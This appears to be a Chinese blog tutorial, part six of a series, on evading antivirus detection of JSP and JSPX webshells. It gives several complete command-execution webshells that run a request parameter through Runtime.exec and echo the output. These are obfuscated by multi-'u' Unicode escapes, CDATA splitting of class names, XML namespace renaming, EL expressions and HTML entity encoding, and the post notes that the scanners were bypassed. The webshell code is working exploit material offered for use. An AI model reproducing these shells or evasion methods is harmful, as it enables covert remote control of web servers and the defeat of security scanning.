查看原文
其他

什么?你还不会webshell免杀?(六)

naihe567 红队蓝军 2023-03-20

编码免杀

Unicode编码

jsp支持unicode编码,如果杀软不支持unicode查杀的话,基本上都能绕过

<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.*"%>

<%
  \uuuu0053\uuuu0074\uuuu0072\uuuu0069\uuuu006e\uuuu0067\uuuu0020\uuuu0063\uuuu006d\uuuu0064\uuuu0020\uuuu003d\uuuu0020\uuuu0072\uuuu0065\uuuu0071\uuuu0075\uuuu0065\uuuu0073\uuuu0074\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0050\uuuu0061\uuuu0072\uuuu0061\uuuu006d\uuuu0065\uuuu0074\uuuu0065\uuuu0072\uuuu0028\uuuu0022\uuuu0063\uuuu006d\uuuu0064\uuuu0022\uuuu0029\uuuu003b\uuuu0050\uuuu0072\uuuu006f\uuuu0063\uuuu0065\uuuu0073\uuuu0073\uuuu0020\uuuu0070\uuuu0072\uuuu006f\uuuu0063\uuuu0065\uuuu0073\uuuu0073\uuuu0020\uuuu003d\uuuu0020\uuuu0052\uuuu0075\uuuu006e\uuuu0074\uuuu0069\uuuu006d\uuuu0065\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0052\uuuu0075\uuuu006e\uuuu0074\uuuu0069\uuuu006d\uuuu0065\uuuu0028\uuuu0029\uuuu002e\uuuu0065\uuuu0078\uuuu0065\uuuu0063\uuuu0028\uuuu0063\uuuu006d\uuuu0064\uuuu0029\uuuu003b\uuuu0049\uuuu006e\uuuu0070\uuuu0075\uuuu0074\uuuu0053\uuuu0074\uuuu0072\uuuu0065\uuuu0061\uuuu006d\uuuu0020\uuuu0069\uuuu0073\uuuu0020\uuuu003d\uuuu0020\uuuu0070\uuuu0072\uuuu006f\uuuu0063\uuuu0065\uuuu0073\uuuu0073\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0049\uuuu006e\uuuu0070\uuuu0075\uuuu0074\uuuu0053\uuuu0074\uuuu0072\uuuu0065\uuuu0061\uuuu006d\uuuu0028\uuuu0029\uuuu003b\uuuu0042\uuuu0075\uuuu0066\uuuu0066\uuuu0065\uuuu0072\uuuu0065\uuuu0064\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu0020\uuuu0062\uuuu0075\uuuu0066\uuuu0066\uuuu0065\uuuu0072\uuuu0065\uuuu0064\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu0020\uuuu003d\uuuu0020\uuuu006e\uuuu0065\uuuu0077\uuuu0020\uuuu0042\uuuu0075\uuuu0066\uuuu0066\uuuu0065\uuuu0072\uuuu0065\uuuu0064\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu0028\uuuu006e\uuuu0065\uuuu0077\uuuu0020\uuuu0049\uuuu006e\uuuu0070\uuuu0075\uuuu0074\uuuu0053\uuuu0074\uuuu0072\uuuu0065\uuuu0061\uuuu006d\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu0028\uuuu0069\uuuu0073\uuuu0029\uuuu0029\uuuu003b\uuuu0053\uuuu0074\uuuu0072\uuuu0069\uuuu006e\uuuu0067\uuuu0020\uuuu0072\uuuu0020\uuuu003d\uuuu0020\uuuu006e\uuuu0075\uuuu006c\uuuu006c\uuuu003b\uuuu0077\uuuu0068\uuuu0069\uuuu006c\uuuu0065\uuuu0028\uuuu0028\uuuu0072\uuuu0020\uuuu003d\uuuu0020\uuuu0062\uuuu0075\uuuu0066\uuuu0066\uuuu0065\uuuu0072\uuuu0065\uuuu0064\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu002e\uuuu0072\uuuu0065\uuuu0061\uuuu0064\uuuu004c\uuuu0069\uuuu006e\uuuu0065\uuuu0028\uuuu0029\uuuu0029\uuuu0021\uuuu003d\uuuu006e\uuuu0075\uuuu006c\uuuu006c\uuuu0029\uuuu007b\uuuu0072\uuuu0065\uuuu0073\uuuu0070\uuuu006f\uuuu006e\uuuu0073\uuuu0065\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0057\uuuu0072\uuuu0069\uuuu0074\uuuu0065\uuuu0072\uuuu0028\uuuu0029\uuuu002e\uuuu0070\uuuu0072\uuuu0069\uuuu006e\uuuu0074\uuuu006c\uuuu006e\uuuu0028\uuuu0072\uuuu0029\uuuu003b\uuuu007d%>

注意这里的\uuuu00可以换成\uuuu00uuu...可以跟多个u达到绕过的效果

将代码(除page以及标签)进行unicode编码,并条件到<%%>标签中,即可执行webshell

在线unicode编码转换:https://3gmfw.cn/tools/unicodebianmazhuanhuanqi/

注意用此在线unicode编码后内容会存在 /ua ,需要手动删除,负责无法正常运行

可以看到依旧执行成功

查杀效果:




这个基本上是通杀了属实是,但由于特征过于明显,如果人工查杀的话,很容易被发现

CDATA特性

这里是要是利用jspx的进行进行免杀,jspx其实就是xml格式的jsp文件

在jspx中,可以利用jsp:scriptlet来代替<%%>

<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@page language="java" pageEncoding="utf-8" %>

<jsp:scriptlet>
  String cmd = request.getParameter("cmd");
  Process process = Runtime.getRuntime().exec(cmd);
  InputStream is = process.getInputStream();
  BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
  String r = null;
  while((r = bufferedReader.readLine())!=null){
    response.getWriter().println(r);
  }
</jsp:scriptlet>

当jsp:scriptlet被过滤时可以利用EL表达式,达到绕过的效果

${Runtime.getRuntime().exec(param.cmd)}

EL表达式的11个隐含对象

其他情况:

利用命令空间改名去绕过

<demo:root xmlns:bbb="http://java.sun.com/JSP/Page"  version="1.2">
<demo:scriptlet>
Runtime.getRuntime().exec(pageContext.request.getParameter("cmd"));
</demo:scriptlet>
</demo:root>

利用<jsp:expression>绕过
<jsp:root xmlns:bbb="http://java.sun.com/JSP/Page"  version="1.2">
   <jsp:expression>
   Runtime.getRuntime().exec(pageContext.request.getParameter("cmd"));
   </jsp:expression>
</jsp:root>

以上是jsp的一些特性,下面开始正式讲解CDATA

说人话就是<![CDATA[与]]>只要能配对就相互抵消,其他不变,因此就可以说多了一个混淆的方式,有点类似多行注释在一行中使用(sql注入绕过waf),但是这个特征可以将关键字,函数进行分割,让其能混淆的空间变的更大

下面是用xml格式的jsp文件

<?xml version="1.0" encoding="UTF-8"?>
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
          version="2.0">
  <jsp:directive.page contentType="text/html"/>
  <jsp:scriptlet>
  String cmd = request.getParameter("cmd");
  Process process = Runtime.getRuntime().exec(cmd);
  java.io.InputStream is = process.getInputStream();
  java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(is));
  String r = null;
  while((r = bufferedReader.readLine())!=null){
    response.getWriter().println(r);
  }
</jsp:scriptlet>
</jsp:root>

可以看到这里是能正常运行的,接下来文件使用CDATA进行混淆

<?xml version="1.0" encoding="UTF-8"?>
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
          version="2.0">
  <jsp:directive.page contentType="text/html"/>
  <jsp:scriptlet>
  String cmd = requ<![CDATA[est.get]]>Parameter("cmd");
  Process process = Ru<![CDATA[ntime.getRunt]]>ime().exec(cmd);
  java.io.InputStream is = process.getInputStream();
  java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(is));
  String r = null;
  while((r = bufferedReader.readLine())!=null){
    response.getWriter().println(r);
  }
</jsp:scriptlet>
</jsp:root>

依旧是能成功运行的,但是我们可以requst和Runtime这些类名都被插入了CDATA,从而消除了特征

免杀效果:



HTML编码

这里HTML编码免杀与jspx的特效有关,前面的CDATA设计到了jspx的相关知识,由此CDATA的免杀就在上文讲了

在XML里可以通过html实体编码来对特殊字符转义,jspx同样继承了该特性,由此jspx就具有识别html实体编码,接下来我们就利用上面的免杀马进行进一步的混淆

<?xml version="1.0" encoding="UTF-8"?>
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
          version="2.0">
  <jsp:directive.page contentType="text/html"/>
  <jsp:scriptlet>
  String cmd = requ<![CDATA[est.get]]>Parameter("cmd");
  Process process = Ru<![CDATA[ntime.getRunt]]>ime().exec(cmd);
&#x20;&#x20;&#x6A;&#x61;&#x76;&#x61;&#x2E;&#x69;&#x6F;&#x2E;&#x49;&#x6E;&#x70;&#x75;&#x74;&#x53;&#x74;&#x72;&#x65;&#x61;&#x6D;&#x20;&#x69;&#x73;&#x20;&#x3D;&#x20;&#x70;&#x72;&#x6F;&#x63;&#x65;&#x73;&#x73;&#x2E;&#x67;&#x65;&#x74;&#x49;&#x6E;&#x70;&#x75;&#x74;&#x53;&#x74;&#x72;&#x65;&#x61;&#x6D;&#x28;&#x29;&#x3B;
&#x20;&#x20;&#x6A;&#x61;&#x76;&#x61;&#x2E;&#x69;&#x6F;&#x2E;&#x42;&#x75;&#x66;&#x66;&#x65;&#x72;&#x65;&#x64;&#x52;&#x65;&#x61;&#x64;&#x65;&#x72;&#x20;&#x62;&#x75;&#x66;&#x66;&#x65;&#x72;&#x65;&#x64;&#x52;&#x65;&#x61;&#x64;&#x65;&#x72;&#x20;&#x3D;&#x20;&#x6E;&#x65;&#x77;&#x20;&#x6A;&#x61;&#x76;&#x61;&#x2E;&#x69;&#x6F;&#x2E;&#x42;&#x75;&#x66;&#x66;&#x65;&#x72;&#x65;&#x64;&#x52;&#x65;&#x61;&#x64;&#x65;&#x72;&#x28;&#x6E;&#x65;&#x77;&#x20;&#x6A;&#x61;&#x76;&#x61;&#x2E;&#x69;&#x6F;&#x2E;&#x49;&#x6E;&#x70;&#x75;&#x74;&#x53;&#x74;&#x72;&#x65;&#x61;&#x6D;&#x52;&#x65;&#x61;&#x64;&#x65;&#x72;&#x28;&#x69;&#x73;&#x29;&#x29;&#x3B;
&#x20;&#x20;&#x53;&#x74;&#x72;&#x69;&#x6E;&#x67;&#x20;&#x72;&#x20;&#x3D;&#x20;&#x6E;&#x75;&#x6C;&#x6C;&#x3B;
&#x20;&#x20;&#x77;&#x68;&#x69;&#x6C;&#x65;&#x28;&#x28;&#x72;&#x20;&#x3D;&#x20;&#x62;&#x75;&#x66;&#x66;&#x65;&#x72;&#x65;&#x64;&#x52;&#x65;&#x61;&#x64;&#x65;&#x72;&#x2E;&#x72;&#x65;&#x61;&#x64;&#x4C;&#x69;&#x6E;&#x65;&#x28;&#x29;&#x29;&#x21;&#x3D;&#x6E;&#x75;&#x6C;&#x6C;&#x29;&#x7B;
&#x20;&#x20;&#x20;&#x20;&#x72;&#x65;&#x73;&#x70;&#x6F;&#x6E;&#x73;&#x65;&#x2E;&#x67;&#x65;&#x74;&#x57;&#x72;&#x69;&#x74;&#x65;&#x72;&#x28;&#x29;&#x2E;&#x70;&#x72;&#x69;&#x6E;&#x74;&#x6C;&#x6E;&#x28;&#x72;&#x29;&#x3B;
&#x20;&#x20;&#x7D;
</jsp:scriptlet>
</jsp:root>

注意:含有CDATA的内容是不能进行html实体编码的,反之html实体编码后的内容也不能插入CDATA,否则无法执行

在线html实体编码:https://www.qqxiuzi.cn/bianma/zifushiti.php

可以看到依旧可以正常运行

加下方wx,拉你一起进群学习

往期推荐

域内批量解析chrome浏览器

什么?你还不会webshell免杀?(五)

什么?你还不会webshell免杀?(四)

什么?你还不会webshell免杀?(三)

什么?你还不会webshell免杀?(二)

什么?你还不会webshell免杀?(一)

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存